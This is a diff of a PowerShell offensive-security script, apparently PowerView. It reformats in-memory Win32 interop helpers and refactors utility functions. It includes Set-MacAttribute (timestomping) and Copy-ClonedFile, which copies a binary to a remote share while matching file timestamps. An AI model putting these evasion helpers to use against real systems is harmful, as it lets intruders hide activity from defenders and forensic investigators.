-.PARAMETER Charset + .PARAMETER Charset -If you need to explicitly call an 'A' or 'W' Win32 function, you can -specify the character set. + If you need to explicitly call an 'A' or 'W' Win32 function, you can + specify the character set. -.PARAMETER SetLastError + .PARAMETER SetLastError -Indicates whether the callee calls the SetLastError Win32 API -function before returning from the attributed method. + Indicates whether the callee calls the SetLastError Win32 API + function before returning from the attributed method. -.PARAMETER Module + .PARAMETER Module -The in-memory module that will host the functions. Use -New-InMemoryModule to define an in-memory module. + The in-memory module that will host the functions. Use + New-InMemoryModule to define an in-memory module. -.PARAMETER Namespace + .PARAMETER Namespace -An optional namespace to prepend to the type. Add-Win32Type defaults -to a namespace consisting only of the name of the DLL. + An optional namespace to prepend to the type. Add-Win32Type defaults + to a namespace consisting only of the name of the DLL. -.EXAMPLE + .EXAMPLE -$Mod = New-InMemoryModule -ModuleName Win32 + $Mod = New-InMemoryModule -ModuleName Win32 -$FunctionDefinitions = @( - (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), - (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), - (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) -) + $FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) + ) -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Kernel32 = $Types['kernel32'] -$Ntdll = $Types['ntdll'] -$Ntdll::RtlGetCurrentPeb() -$ntdllbase = $Kernel32::GetModuleHandle('ntdll') -$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' + $Kernel32 = $Types['kernel32'] + $Ntdll = $Types['ntdll'] + $Ntdll::RtlGetCurrentPeb() + $ntdllbase = $Kernel32::GetModuleHandle('ntdll') + $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') -.NOTES + .NOTES -Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 -When defining multiple function prototypes, it is ideal to provide -Add-Win32Type with an array of function signatures. That way, they -are all incorporated into the same in-memory module. + When defining multiple function prototypes, it is ideal to provide + Add-Win32Type with an array of function signatures. That way, they + are all incorporated into the same in-memory module. #> [OutputType([Hashtable])] @@ -285,11 +291,11 @@ are all incorporated into the same in-memory module. # Make each ByRef parameter an Out parameter $i = 1 - foreach($Parameter in $ParameterTypes) + ForEach($Parameter in $ParameterTypes) { if ($Parameter.IsByRef) { - [void] $Method.DefineParameter($i, 'Out', $null) + [void] $Method.DefineParameter($i, 'Out', $Null) } $i++ @@ -321,7 +327,7 @@ are all incorporated into the same in-memory module. $ReturnTypes = @{} - foreach ($Key in $TypeHash.Keys) + ForEach ($Key in $TypeHash.Keys) { $Type = $TypeHash[$Key].CreateType() @@ -336,68 +342,68 @@ are all incorporated into the same in-memory module. function psenum { <# -.SYNOPSIS - -Creates an in-memory enumeration for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -The 'psenum' function facilitates the creation of enums entirely in -memory using as close to a "C style" as PowerShell will allow. + .SYNOPSIS -.PARAMETER Module + Creates an in-memory enumeration for use in your PowerShell session. -The in-memory module that will host the enum. Use -New-InMemoryModule to define an in-memory module. + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION -.PARAMETER FullName + The 'psenum' function facilitates the creation of enums entirely in + memory using as close to a "C style" as PowerShell will allow. -The fully-qualified name of the enum. + .PARAMETER Module -.PARAMETER Type + The in-memory module that will host the enum. Use + New-InMemoryModule to define an in-memory module. -The type of each enum element. + .PARAMETER FullName -.PARAMETER EnumElements + The fully-qualified name of the enum. -A hashtable of enum elements. + .PARAMETER Type -.PARAMETER Bitfield + The type of each enum element. -Specifies that the enum should be treated as a bitfield. + .PARAMETER EnumElements -.EXAMPLE + A hashtable of enum elements. -$Mod = New-InMemoryModule -ModuleName Win32 + .PARAMETER Bitfield -$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ - UNKNOWN = 0 - NATIVE = 1 # Image doesn't require a subsystem. - WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. - WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. - OS2_CUI = 5 # Image runs in the OS/2 character subsystem. - POSIX_CUI = 7 # Image runs in the Posix character subsystem. - NATIVE_WINDOWS = 8 # Image is a native Win9x driver. - WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. - EFI_APPLICATION = 10 - EFI_BOOT_SERVICE_DRIVER = 11 - EFI_RUNTIME_DRIVER = 12 - EFI_ROM = 13 - XBOX = 14 - WINDOWS_BOOT_APPLICATION = 16 -} + Specifies that the enum should be treated as a bitfield. -.NOTES + .EXAMPLE -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Enum. :P + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 + } + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Enum. :P #> [OutputType([Type])] @@ -441,10 +447,10 @@ New-Enum. :P $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) } - foreach ($Key in $EnumElements.Keys) + ForEach ($Key in $EnumElements.Keys) { # Apply the specified enum type to each element - $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) } $EnumBuilder.CreateType() @@ -485,96 +491,96 @@ function field function struct { <# -.SYNOPSIS - -Creates an in-memory struct for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: field - -.DESCRIPTION - -The 'struct' function facilitates the creation of structs entirely in -memory using as close to a "C style" as PowerShell will allow. Struct -fields are specified using a hashtable where each field of the struct -is comprosed of the order in which it should be defined, its .NET -type, and optionally, its offset and special marshaling attributes. - -One of the features of 'struct' is that after your struct is defined, -it will come with a built-in GetSize method as well as an explicit -converter so that you can easily cast an IntPtr to the struct without -relying upon calling SizeOf and/or PtrToStructure in the Marshal -class. + .SYNOPSIS -.PARAMETER Module + Creates an in-memory struct for use in your PowerShell session. -The in-memory module that will host the struct. Use -New-InMemoryModule to define an in-memory module. + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: field -.PARAMETER FullName + .DESCRIPTION -The fully-qualified name of the struct. + The 'struct' function facilitates the creation of structs entirely in + memory using as close to a "C style" as PowerShell will allow. Struct + fields are specified using a hashtable where each field of the struct + is comprosed of the order in which it should be defined, its .NET + type, and optionally, its offset and special marshaling attributes. -.PARAMETER StructFields + One of the features of 'struct' is that after your struct is defined, + it will come with a built-in GetSize method as well as an explicit + converter so that you can easily cast an IntPtr to the struct without + relying upon calling SizeOf and/or PtrToStructure in the Marshal + class. -A hashtable of fields. Use the 'field' helper function to ease -defining each field. + .PARAMETER Module -.PARAMETER PackingSize + The in-memory module that will host the struct. Use + New-InMemoryModule to define an in-memory module. -Specifies the memory alignment of fields. + .PARAMETER FullName -.PARAMETER ExplicitLayout + The fully-qualified name of the struct. -Indicates that an explicit offset for each field will be specified. + .PARAMETER StructFields -.EXAMPLE + A hashtable of fields. Use the 'field' helper function to ease + defining each field. -$Mod = New-InMemoryModule -ModuleName Win32 + .PARAMETER PackingSize -$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ - DOS_SIGNATURE = 0x5A4D - OS2_SIGNATURE = 0x454E - OS2_SIGNATURE_LE = 0x454C - VXD_SIGNATURE = 0x454C -} + Specifies the memory alignment of fields. -$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ - e_magic = field 0 $ImageDosSignature - e_cblp = field 1 UInt16 - e_cp = field 2 UInt16 - e_crlc = field 3 UInt16 - e_cparhdr = field 4 UInt16 - e_minalloc = field 5 UInt16 - e_maxalloc = field 6 UInt16 - e_ss = field 7 UInt16 - e_sp = field 8 UInt16 - e_csum = field 9 UInt16 - e_ip = field 10 UInt16 - e_cs = field 11 UInt16 - e_lfarlc = field 12 UInt16 - e_ovno = field 13 UInt16 - e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) - e_oemid = field 15 UInt16 - e_oeminfo = field 16 UInt16 - e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) - e_lfanew = field 18 Int32 -} + .PARAMETER ExplicitLayout -# Example of using an explicit layout in order to create a union. -$TestUnion = struct $Mod TestUnion @{ - field1 = field 0 UInt32 0 - field2 = field 1 IntPtr 0 -} -ExplicitLayout + Indicates that an explicit offset for each field will be specified. -.NOTES + .EXAMPLE -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Struct. :P + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C + } + + $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 + } + + # Example of using an explicit layout in order to create a union. + $TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 + } -ExplicitLayout + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Struct. :P #> [OutputType([Type])] @@ -630,13 +636,13 @@ New-Struct. :P # Sort each field according to the orders specified # Unfortunately, PSv2 doesn't have the luxury of the # hashtable [Ordered] accelerator. - foreach ($Field in $StructFields.Keys) + ForEach ($Field in $StructFields.Keys) { $Index = $StructFields[$Field]['Position'] $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} } - foreach ($Field in $Fields) + ForEach ($Field in $Fields) { $FieldName = $Field['FieldName'] $FieldProp = $Field['Properties'] @@ -703,334 +709,55 @@ New-Struct. :P } -function Get-ShuffledArray { - <# - .SYNOPSIS - Returns a randomly-shuffled version of a passed array. - - .DESCRIPTION - This function takes an array and returns a randomly-shuffled - version. - - .PARAMETER Array - The passed array to shuffle. - - .OUTPUTS - System.Array. The passed array but shuffled. - - .EXAMPLE - > $shuffled = Get-ShuffledArray $array - Get a shuffled version of $array. - - .LINK - http://sqlchow.wordpress.com/2013/03/04/shuffle-the-deck-using-powershell/ - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [Array]$Array - ) - Begin{} - Process{ - $len = $Array.Length - while($len){ - $i = Get-Random ($len --) - $tmp = $Array[$len] - $Array[$len] = $Array[$i] - $Array[$i] = $tmp - } - $Array; - } -} - - -function Invoke-CheckWrite { - <# - .SYNOPSIS - Check if the current user has write access to a given file. - - .DESCRIPTION - This function tries to open a given file for writing and then - immediately closes it, returning true if the file successfully - opened, and false if it failed. - - .PARAMETER Path - Path of the file to check for write access. - - .OUTPUTS - System.bool. True if the add succeeded, false otherwise. - - .EXAMPLE - > Invoke-CheckWrite "test.txt" - Check if the current user has write access to "test.txt" - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [String] - $Path - ) - Begin{} - - Process{ - try { - $filetest = [IO.FILE]::OpenWrite($Path) - $filetest.close() - $true - } - catch { - Write-Verbose -Message $Error[0] - $false - } - } - - End{} -} - +######################################################## +# +# Misc. helpers +# +######################################################## -# stolen directly from http://poshcode.org/1590 +function Export-PowerViewCSV { <# - This Export-CSV behaves exactly like native Export-CSV - However it has one optional switch -Append - Which lets you append new data to existing CSV file: e.g. - Get-Process | Select ProcessName, CPU | Export-CSV processes.csv -Append + .SYNOPSIS - For details, see - http://dmitrysotnikov.wordpress.com/2010/01/19/export-csv-append/ + This function exports to a .csv in a thread-safe manner. + + Based partially on Dmitry Sotnikov's Export-CSV code + at http://poshcode.org/1590 + + .LINK - (c) Dmitry Sotnikov + http://poshcode.org/1590 + http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ #> -function Export-CSV { - [CmdletBinding(DefaultParameterSetName='Delimiter', - SupportsShouldProcess=$true, - ConfirmImpact='Medium')] Param( - [Parameter(Mandatory=$true, ValueFromPipeline=$true, - ValueFromPipelineByPropertyName=$true)] + [Parameter(Mandatory=$True, ValueFromPipeline=$True, + ValueFromPipelineByPropertyName=$True)] [System.Management.Automation.PSObject] $InputObject, - [Parameter(Mandatory=$true, Position=0)] + [Parameter(Mandatory=$True, Position=0)] [Alias('PSPath')] - [System.String] - $Path, - - #region -Append (added by Dmitry Sotnikov) - [Switch] - $Append, - #endregion - - [Switch] - $Force, - - [Switch] - $NoClobber, - - [ValidateSet('Unicode','UTF7','UTF8','ASCII','UTF32','BigEndianUnicode','Default','OEM')] - [System.String] - $Encoding, - - [Parameter(ParameterSetName='Delimiter', Position=1)] - [ValidateNotNull()] - [System.Char] - $Delimiter, - - [Parameter(ParameterSetName='UseCulture')] - [Switch] - $UseCulture, - - [Alias('NTI')] - [Switch] - $NoTypeInformation + [String] + $OutFile ) - Begin - { - # This variable will tell us whether we actually need to append - # to existing file - $AppendMode = $false - - try { - $outBuffer = $null - if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) - { - $PSBoundParameters['OutBuffer'] = 1 - } - $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Export-Csv', - [System.Management.Automation.CommandTypes]::Cmdlet) - - - #String variable to become the target command line - $scriptCmdPipeline = '' - - # Add new parameter handling - #region Dmitry: Process and remove the Append parameter if it is present - if ($Append) { - - $PSBoundParameters.Remove('Append') | Out-Null - - if ($Path) { - if (Test-Path -Path $Path) { - # Need to construct new command line - $AppendMode = $true - - if ($Encoding.Length -eq 0) { - # ASCII is default encoding for Export-CSV - $Encoding = 'ASCII' - } - - # For Append we use ConvertTo-CSV instead of Export - $scriptCmdPipeline += 'ConvertTo-Csv -NoTypeInformation ' - - # Inherit other CSV convertion parameters - if ( $UseCulture ) { - $scriptCmdPipeline += ' -UseCulture ' - } - - if ( $Delimiter ) { - $scriptCmdPipeline += " -Delimiter '$Delimiter' " - } - - # Skip the first line (the one with the property names) - $scriptCmdPipeline += ' | Foreach-Object {$start=$true}' - $scriptCmdPipeline += '{if ($start) {$start=$false} else {$_}} ' - - # Add file output - $scriptCmdPipeline += " | Out-File -FilePath '$Path' -Encoding '$Encoding' -Append " - - if ($Force) { - $scriptCmdPipeline += ' -Force' - } - - if ($NoClobber) { - $scriptCmdPipeline += ' -NoClobber' - } - } - } - } - $scriptCmd = {& $wrappedCmd @PSBoundParameters } - - if ( $AppendMode ) { - # redefine command line - $scriptCmd = $ExecutionContext.InvokeCommand.NewScriptBlock( - $scriptCmdPipeline - ) - } else { - # execute Export-CSV as we got it because - # either -Append is missing or file does not exist - $scriptCmd = $ExecutionContext.InvokeCommand.NewScriptBlock( - [string]$scriptCmd - ) - } - - # standard pipeline initialization - $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin) - $steppablePipeline.Begin($PSCmdlet) - - } - catch { - throw - } - } - - process - { - try { - $steppablePipeline.Process($_) - } catch { - throw - } - } - - end - { - try { - $steppablePipeline.End() - } catch { - throw - } - } -<# - -.ForwardHelpTargetName Export-Csv -.ForwardHelpCategory Cmdlet - -#> - -} - + process { + + $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation -# from https://gist.github.com/mdnmdn/6936714 -function Escape-JSONString($str){ - if ($str -eq $null) {return ""} - $str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t') - return $str; -} + # mutex so threaded code doesn't stomp on the output file + $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; + $Null = $Mutex.WaitOne() -function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) { - begin { - $data = @() - } - process{ - $data += $_ - } - - end{ - - if ($data.length -eq 1 -and $forceArray -eq $false) { - $value = $data[0] - } else { - $value = $data + if (Test-Path -Path $OutFile) { + # hack to skip the first line of output if the file already exists + $ObjectCSV | Foreach-Object {$Start=$True}{if ($Start) {$Start=$False} else {$_}} | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile } - - if ($value -eq $null) { - return "null" + else { + $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile } - $dataType = $value.GetType().Name - - switch -regex ($dataType) { - 'String' { - return "`"{0}`"" -f (Escape-JSONString $value ) - } - '(System\.)?DateTime' {return "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value} - 'Int32|Double' {return "$value"} - 'Boolean' {return "$value".ToLower()} - '(System\.)?Object\[\]' { # array - - if ($maxDepth -le 0){return "`"$value`""} - - $jsonResult = '' - foreach($elem in $value){ - #if ($elem -eq $null) {continue} - if ($jsonResult.Length -gt 0) {$jsonResult +=', '} - $jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1)) - } - return "[" + $jsonResult + "]" - } - '(System\.)?Hashtable' { # hashtable - $jsonResult = '' - foreach($key in $value.Keys){ - if ($jsonResult.Length -gt 0) {$jsonResult +=', '} - $jsonResult += -@" - "{0}": {1} -"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) ) - } - return "{" + $jsonResult + "}" - } - default { #object - if ($maxDepth -le 0){return "`"{0}`"" -f (Escape-JSONString $value)} - - return "{" + - (($value | Get-Member -MemberType *property | % { -@" - "{0}": {1} -"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) ) - - }) -join ', ') + "}" - } - } + $Mutex.ReleaseMutex() } } @@ -1073,12 +800,12 @@ function Set-MacAttribute { Param ( [Parameter(Position = 1,Mandatory = $True)] - [ValidateNotNullOrEmpty()] + [ValidateScript({Test-Path -Path $_ })] [String] $FilePath, [Parameter(ParameterSetName = 'Touch')] - [ValidateNotNullOrEmpty()] + [ValidateScript({Test-Path -Path $_ })] [String] $OldFilePath, @@ -1104,7 +831,7 @@ function Set-MacAttribute { param($OldFileName) - if (!(Test-Path -Path $OldFileName)){Throw 'File Not Found'} + if (!(Test-Path -Path $OldFileName)) {Throw 'File Not Found'} $FileInfoObject = (Get-Item $OldFileName) $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime); @@ -1114,21 +841,15 @@ function Set-MacAttribute { Return $ResultObject } - #test and set variables - if (!(Test-Path -Path $FilePath)){Throw "$FilePath not found"} - $FileInfoObject = (Get-Item -Path $FilePath) - if ($PSBoundParameters['AllMacAttributes']){ + if ($PSBoundParameters['AllMacAttributes']) { $Modified = $AllMacAttributes $Accessed = $AllMacAttributes $Created = $AllMacAttributes } - if ($PSBoundParameters['OldFilePath']){ - - if (!(Test-Path -Path $OldFilePath)){Write-Error "$OldFilePath not found."} - + if ($PSBoundParameters['OldFilePath']) { $CopyFileMac = (Get-MacAttribute $OldFilePath) $Modified = $CopyFileMac.Modified $Accessed = $CopyFileMac.Accessed @@ -1143,34 +864,41 @@ function Set-MacAttribute { } -function Invoke-CopyFile { - <# - .SYNOPSIS +function Copy-ClonedFile { +<# + .SYNOPSIS + Copy a source file to a destination location, matching any MAC properties as appropriate. - .PARAMETER SourceFile + .PARAMETER SourceFile + Source file to copy. - .PARAMETER DestFile + .PARAMETER DestFile + Destination file path to copy file to. - .EXAMPLE - > Invoke-CopyFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe - Copy the local program.exe binary to a remote location, - matching the MAC properties of the remote exe. + .EXAMPLE + + PS C:\> Copy-ClonedFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe + + Copy the local program.exe binary to a remote location, matching the MAC properties of the remote exe. + + .LINK - .LINK http://obscuresecurity.blogspot.com/2014/05/touch.html - #> +#> param( [Parameter(Mandatory = $True)] [String] + [ValidateNotNullOrEmpty()] $SourceFile, [Parameter(Mandatory = $True)] [String] + [ValidateNotNullOrEmpty()] $DestFile ) @@ -1182,45 +910,43 @@ function Invoke-CopyFile { } -function Get-HostIP { - <# +function Get-IPAddress { +<# .SYNOPSIS - Takes a hostname and resolves it an IP. - - .DESCRIPTION - This function resolves a given hostename to its associated IPv4 - address. If no hostname is provided, it defaults to returning - the IP address of the local host the script be being run on. - .OUTPUTS - System.String. The IPv4 address. + This function resolves a given hostename to its associated IPv4 + address. If no hostname is provided, it defaults to returning + the IP address of the local host the script be being run on. .EXAMPLE - > Get-HostIP -hostname SERVER - Return the IPv4 address of 'SERVER' - #> + + PS C:\> Get-IPAddress -ComputerName SERVER + + Return the IPv4 address of 'SERVER' +#> [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [string] - $hostname = '' + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '' ) process { - try{ + try { # get the IP resolution of this specified hostname - $results = @(([net.dns]::GetHostEntry($hostname)).AddressList) + $Results = @(([Net.Dns]::GetHostEntry($ComputerName)).AddressList) - if ($results.Count -ne 0){ - foreach ($result in $results) { + if ($Results.Count -ne 0) { + ForEach ($Result in $Results) { # make sure the returned result is IPv4 - if ($result.AddressFamily -eq 'InterNetwork') { - $result.IPAddressToString + if ($Result.AddressFamily -eq 'InterNetwork') { + $Result.IPAddressToString } } } } - catch{ + catch { Write-Verbose -Message 'Could not resolve host to an IP Address.' } } @@ -1228,6136 +954,5723 @@ function Get-HostIP { } -# adapted from RamblingCookieMonster's code at -# https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 -function Invoke-Ping { +function Convert-NameToSid { <# -.SYNOPSIS - Ping systems in parallel - Author: RamblingCookieMonster - -.PARAMETER ComputerName - One or more computers to test + .SYNOPSIS + + Converts a given user/group name to a security identifier (SID). -.PARAMETER Timeout - Time in seconds before we attempt to dispose an individual query. Default is 20 + .PARAMETER ObjectName -.PARAMETER Throttle - Throttle query to this many parallel runspaces. Default is 100. + The user/group name to convert, can be 'user' or 'DOMAIN\user' format. -.PARAMETER NoCloseOnTimeout - Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out + .PARAMETER Domain - This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. + Specific domain for the given user account, defaults to the current domain. -.EXAMPLE - $Responding = $Computers | Invoke-Ping - - # Create a list of computers that successfully responded to Test-Connection + .EXAMPLE -.LINK - https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 - https://gallery.technet.microsoft.com/scriptcenter/Invoke-Ping-Test-in-b553242a + PS C:\> Convert-NameToSid 'DEV\dfm' #> - - [cmdletbinding(DefaultParameterSetName='Ping')] + [CmdletBinding()] param( - [Parameter( ValueFromPipeline=$true, - ValueFromPipelineByPropertyName=$true, - Position=0)] - [string[]]$ComputerName, + [Parameter(Mandatory=$True,ValueFromPipeline=$True)] + [String] + [Alias('Name')] + $ObjectName, + + [String] + $Domain = (Get-NetDomain).Name + ) + + process { - [int]$Timeout = 20, + $ObjectName = $ObjectName -replace "/","\" - [int]$Throttle = 100, - - [switch]$NoCloseOnTimeout - ) - - Begin - { - $Quiet = $True - - #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 - function Invoke-Parallel { - [cmdletbinding(DefaultParameterSetName='ScriptBlock')] - Param ( - [Parameter(Mandatory=$false,position=0,ParameterSetName='ScriptBlock')] - [System.Management.Automation.ScriptBlock]$ScriptBlock, - - [Parameter(Mandatory=$false,ParameterSetName='ScriptFile')] - [ValidateScript({test-path $_ -pathtype leaf})] - $ScriptFile, - - [Parameter(Mandatory=$true,ValueFromPipeline=$true)] - [Alias('CN','__Server','IPAddress','Server','ComputerName')] - [PSObject]$InputObject, - - [PSObject]$Parameter, - - [switch]$ImportVariables, - - [switch]$ImportModules, - - [int]$Throttle = 20, - - [int]$SleepTimer = 200, - - [int]$RunspaceTimeout = 0, - - [switch]$NoCloseOnTimeout = $false, - - [int]$MaxQueue, - - [switch] $Quiet = $false - ) + if($ObjectName.contains("\")) { + # if we get a DOMAIN\user format, auto convert it + $Domain = $ObjectName.split("\")[0] + $ObjectName = $ObjectName.split("\")[1] + } + + try { + $Obj = (New-Object System.Security.Principal.NTAccount($Domain,$ObjectName)) + $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value + } + catch { + Write-Verbose "Invalid object/name: $Domain\$ObjectName" + $Null + } + } +} + + +function Convert-SidToName { +<# + .SYNOPSIS - Begin { - - #No max queue specified? Estimate one. - #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function - if( -not $PSBoundParameters.ContainsKey('MaxQueue') ) - { - if($RunspaceTimeout -ne 0){ $script:MaxQueue = $Throttle } - else{ $script:MaxQueue = $Throttle * 3 } - } - else - { - $script:MaxQueue = $MaxQueue - } - - Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue'" - - #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items - if ($ImportVariables -or $ImportModules) - { - $StandardUserEnv = [powershell]::Create().addscript({ - - #Get modules and snapins in this clean runspace - $Modules = Get-Module | Select -ExpandProperty Name - $Snapins = Get-PSSnapin | Select -ExpandProperty Name - - #Get variables in this clean runspace - #Called last to get vars like $? into session - $Variables = Get-Variable | Select -ExpandProperty Name - - #Return a hashtable where we can access each. - @{ - Variables = $Variables - Modules = $Modules - Snapins = $Snapins - } - }).invoke()[0] - - if ($ImportVariables) { - #Exclude common parameters, bound parameters, and automatic variables - Function _temp {[cmdletbinding()] param() } - $VariablesToExclude = @( (Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables ) - Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")" - - # we don't use 'Get-Variable -Exclude', because it uses regexps. - # One of the veriables that we pass is '$?'. - # There could be other variables with such problems. - # Scope 2 required if we move to a real module - $UserVariables = @( Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) } ) - Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n" - - } - - if ($ImportModules) - { - $UserModules = @( Get-Module | Where {$StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue)} | Select -ExpandProperty Path ) - $UserSnapins = @( Get-PSSnapin | Select -ExpandProperty Name | Where {$StandardUserEnv.Snapins -notcontains $_ } ) - } - } - - #region functions - - Function Get-RunspaceData { - [cmdletbinding()] - param( [switch]$Wait ) - - #loop through runspaces - #if $wait is specified, keep looping until all complete - Do { - - #set more to false for tracking completion - $more = $false - - #run through each runspace. - Foreach($runspace in $runspaces) { - - #get the duration - inaccurate - $currentdate = Get-Date - $runtime = $currentdate - $runspace.startTime - $runMin = [math]::Round( $runtime.totalminutes ,2 ) - - #set up log object - $log = "" | select Date, Action, Runtime, Status, Details - $log.Action = "Removing:'$($runspace.object)'" - $log.Date = $currentdate - $log.Runtime = "$runMin minutes" - - #If runspace completed, end invoke, dispose, recycle, counter++ - If ($runspace.Runspace.isCompleted) { - - $script:completedCount++ - - #check if there were errors - if($runspace.powershell.Streams.Error.Count -gt 0) { - - #set the logging info and move the file to completed - $log.status = "CompletedWithErrors" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - foreach($ErrorRecord in $runspace.powershell.Streams.Error) { - Write-Error -ErrorRecord $ErrorRecord - } - } - else { - - #add logging details and cleanup - $log.status = "Completed" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - } - - #everything is logged, clean up the runspace - $runspace.powershell.EndInvoke($runspace.Runspace) - $runspace.powershell.dispose() 